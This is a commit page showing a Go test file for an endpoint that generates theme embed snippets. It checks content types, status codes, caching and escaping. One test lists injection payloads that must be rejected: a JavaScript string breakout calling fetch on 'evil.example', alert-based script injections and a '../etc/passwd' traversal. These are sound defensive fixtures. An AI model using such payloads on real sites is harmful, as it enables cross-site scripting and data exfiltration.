initial commit
Some checks failed
ci / go (push) Has been cancelled
ci / admin-ui (push) Has been cancelled
ci / runtime-sdk (push) Has been cancelled
ci / helm (push) Has been cancelled
ci / openapi (push) Has been cancelled
ci / container (push) Has been cancelled
ci / release-config (push) Has been cancelled
ci / shared styling (push) Has been cancelled
ci / security (push) Has been cancelled
ci / all green (push) Has been cancelled
Some checks failed
ci / go (push) Has been cancelled
ci / admin-ui (push) Has been cancelled
ci / runtime-sdk (push) Has been cancelled
ci / helm (push) Has been cancelled
ci / openapi (push) Has been cancelled
ci / container (push) Has been cancelled
ci / release-config (push) Has been cancelled
ci / shared styling (push) Has been cancelled
ci / security (push) Has been cancelled
ci / all green (push) Has been cancelled
This commit is contained in:
commit
951dd8d26b
175 changed files with 50041 additions and 0 deletions
225
internal/httpapi/embed_test.go
Normal file
225
internal/httpapi/embed_test.go
Normal file
|
|
@ -0,0 +1,225 @@
|
|||
package httpapi_test
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
// embed is the decoded shape of /rt/v1/embed.
|
||||
type embed struct {
|
||||
Slug string `json:"slug"`
|
||||
Name string `json:"name"`
|
||||
Version int64 `json:"version"`
|
||||
Language string `json:"language"`
|
||||
Snippet string `json:"snippet"`
|
||||
Note string `json:"note"`
|
||||
BaseURL string `json:"baseUrl"`
|
||||
}
|
||||
|
||||
// embedFor requests the snippet endpoint and fails the test unless it answers 200
|
||||
// with JSON.
|
||||
func embedFor(t *testing.T, h http.Handler, query string) embed {
|
||||
t.Helper()
|
||||
rec := httptest.NewRecorder()
|
||||
h.ServeHTTP(rec, httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/rt/v1/embed?"+query, nil))
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("got %d, want 200: %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
if ct := rec.Header().Get("Content-Type"); !strings.HasPrefix(ct, "application/json") {
|
||||
t.Fatalf("content type %q, want JSON. The admin UI fetches this with a JSON parser.", ct)
|
||||
}
|
||||
var out embed
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &out); err != nil {
|
||||
t.Fatalf("response is not JSON: %v", err)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// TestEmbedAlwaysAnswersJSON is the regression test for the bug that made the
|
||||
// Integrate page unusable: the default target answered text/html while the admin
|
||||
// UI asked for JSON, so every load reported "the server returned a response that
|
||||
// could not be parsed".
|
||||
func TestEmbedAlwaysAnswersJSON(t *testing.T) {
|
||||
h := newRuntimeRouter(t)
|
||||
|
||||
for _, target := range []string{"html", "react", "javascript", ""} {
|
||||
t.Run("target="+target, func(t *testing.T) {
|
||||
query := "slug=midnight"
|
||||
if target != "" {
|
||||
query += "&target=" + target
|
||||
}
|
||||
got := embedFor(t, h, query)
|
||||
if got.Snippet == "" {
|
||||
t.Error("snippet is empty")
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestEmbedRejectsUnknownTheme checks that a snippet is never generated for a theme
|
||||
// that does not exist. The endpoint used to echo back whatever slug it was given.
|
||||
func TestEmbedRejectsUnknownTheme(t *testing.T) {
|
||||
h := newRuntimeRouter(t)
|
||||
|
||||
rec := httptest.NewRecorder()
|
||||
h.ServeHTTP(rec, httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/rt/v1/embed?slug=no-such-theme", nil))
|
||||
if rec.Code != http.StatusNotFound {
|
||||
t.Errorf("got %d, want 404: %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
}
|
||||
|
||||
// TestEmbedRejectsMalformedSlug covers the shape check. Slugs are interpolated into
|
||||
// generated source, so a slug carrying a quote has to be refused at the door rather
|
||||
// than trusted to be escaped later.
|
||||
func TestEmbedRejectsMalformedSlug(t *testing.T) {
|
||||
h := newRuntimeRouter(t)
|
||||
|
||||
// Each of these breaks out of a JavaScript string literal or a CSS selector if
|
||||
// it is not rejected.
|
||||
slugs := []string{
|
||||
"x';fetch('//evil.example')//",
|
||||
`x"+alert(1)+"`,
|
||||
"x</style><script>alert(1)</script>",
|
||||
"../etc/passwd",
|
||||
"UPPERCASE",
|
||||
"has space",
|
||||
"trailing-",
|
||||
"-leading",
|
||||
}
|
||||
|
||||
for _, slug := range slugs {
|
||||
t.Run(slug, func(t *testing.T) {
|
||||
rec := httptest.NewRecorder()
|
||||
h.ServeHTTP(rec, httptest.NewRequestWithContext(t.Context(), http.MethodGet,
|
||||
"/rt/v1/embed?slug="+urlQueryEscape(slug)+"&target=javascript", nil))
|
||||
if rec.Code == http.StatusOK {
|
||||
t.Errorf("accepted a malformed slug and returned a snippet: %s", rec.Body.String())
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// urlQueryEscape percent-encodes a query parameter value.
|
||||
func urlQueryEscape(s string) string {
|
||||
var b strings.Builder
|
||||
for i := 0; i < len(s); i++ {
|
||||
c := s[i]
|
||||
if (c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z') || (c >= '0' && c <= '9') ||
|
||||
c == '-' || c == '_' || c == '.' || c == '~' {
|
||||
b.WriteByte(c)
|
||||
continue
|
||||
}
|
||||
const hexDigits = "0123456789ABCDEF"
|
||||
b.WriteByte('%')
|
||||
b.WriteByte(hexDigits[c>>4])
|
||||
b.WriteByte(hexDigits[c&0x0f])
|
||||
}
|
||||
return b.String()
|
||||
}
|
||||
|
||||
// TestEmbedSnippetsAreSyntacticallyPlausible is the property that actually matters:
|
||||
// the snippet a developer pastes has to be parseable code for its language. A
|
||||
// balanced-quote check is a cheap proxy that catches the whole class of escaping
|
||||
// bug without pulling in a JavaScript parser.
|
||||
func TestEmbedSnippetsAreSyntacticallyPlausible(t *testing.T) {
|
||||
h := newRuntimeRouter(t)
|
||||
|
||||
for _, target := range []string{"html", "react", "javascript"} {
|
||||
t.Run(target, func(t *testing.T) {
|
||||
got := embedFor(t, h, "slug=midnight&target="+target)
|
||||
assertBalancedSingleQuotes(t, got.Snippet)
|
||||
assertBalancedBackticks(t, got.Snippet)
|
||||
if strings.Count(got.Snippet, "\n") < 2 {
|
||||
t.Errorf("snippet looks truncated:\n%s", got.Snippet)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// assertBalancedSingleQuotes fails when a snippet has an odd number of single
|
||||
// quotes outside a comment, which is what an unescaped value looks like.
|
||||
func assertBalancedSingleQuotes(t *testing.T, snippet string) {
|
||||
t.Helper()
|
||||
inSingle, inDouble, inBacktick := false, false, false
|
||||
for i := 0; i < len(snippet); i++ {
|
||||
c := snippet[i]
|
||||
switch {
|
||||
case c == '\\' && (inSingle || inDouble || inBacktick):
|
||||
i++ // skip the escaped character
|
||||
case c == '\'' && !inDouble && !inBacktick:
|
||||
inSingle = !inSingle
|
||||
case c == '"' && !inSingle && !inBacktick:
|
||||
inDouble = !inDouble
|
||||
case c == '`' && !inSingle && !inDouble:
|
||||
inBacktick = !inBacktick
|
||||
}
|
||||
}
|
||||
if inSingle || inDouble || inBacktick {
|
||||
t.Errorf("snippet has an unterminated string literal:\n%s", snippet)
|
||||
}
|
||||
}
|
||||
|
||||
// assertBalancedBackticks fails on an odd number of backticks.
|
||||
func assertBalancedBackticks(t *testing.T, snippet string) {
|
||||
t.Helper()
|
||||
if strings.Count(snippet, "`")%2 != 0 {
|
||||
t.Errorf("snippet has an unbalanced backtick:\n%s", snippet)
|
||||
}
|
||||
}
|
||||
|
||||
// TestEmbedRejectsUnknownTarget checks that a typo is reported rather than silently
|
||||
// returning the HTML page.
|
||||
func TestEmbedRejectsUnknownTarget(t *testing.T) {
|
||||
h := newRuntimeRouter(t)
|
||||
|
||||
for _, target := range []string{"xml", "HTML", "ts", ".."} {
|
||||
t.Run(target, func(t *testing.T) {
|
||||
rec := httptest.NewRecorder()
|
||||
h.ServeHTTP(rec, httptest.NewRequestWithContext(t.Context(), http.MethodGet,
|
||||
"/rt/v1/embed?slug=midnight&target="+urlQueryEscape(target), nil))
|
||||
if rec.Code != http.StatusBadRequest {
|
||||
t.Errorf("got %d, want 400: %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestEmbedIsNotCacheable guards the header. Every snippet embeds this deployment's
|
||||
// absolute URL, so a cached copy would keep serving the wrong origin after a
|
||||
// hostname change.
|
||||
func TestEmbedIsNotCacheable(t *testing.T) {
|
||||
h := newRuntimeRouter(t)
|
||||
|
||||
rec := httptest.NewRecorder()
|
||||
h.ServeHTTP(rec, httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/rt/v1/embed?slug=midnight", nil))
|
||||
if cc := rec.Header().Get("Cache-Control"); !strings.Contains(cc, "no-store") {
|
||||
t.Errorf("Cache-Control %q, want no-store", cc)
|
||||
}
|
||||
}
|
||||
|
||||
// TestEmbedPageIsHTML checks the standalone page is still reachable and still HTML,
|
||||
// since it is a separate handler serving a different kind of caller.
|
||||
func TestEmbedPageIsHTML(t *testing.T) {
|
||||
h := newRuntimeRouter(t)
|
||||
|
||||
rec := httptest.NewRecorder()
|
||||
h.ServeHTTP(rec, httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/rt/v1/embed-page?slug=midnight", nil))
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("got %d, want 200", rec.Code)
|
||||
}
|
||||
if ct := rec.Header().Get("Content-Type"); !strings.HasPrefix(ct, "text/html") {
|
||||
t.Errorf("content type %q, want text/html", ct)
|
||||
}
|
||||
body := rec.Body.String()
|
||||
if !strings.Contains(body, "<!doctype html>") {
|
||||
t.Error("not an HTML document")
|
||||
}
|
||||
// The page must not inline a raw script from the slug: every sample is escaped
|
||||
// for display inside a <pre>.
|
||||
if strings.Contains(body, "<script>alert") {
|
||||
t.Error("page contains an unescaped injected script")
|
||||
}
|
||||
}
|
||||
Loading…
Add table
Add a link
Reference in a new issue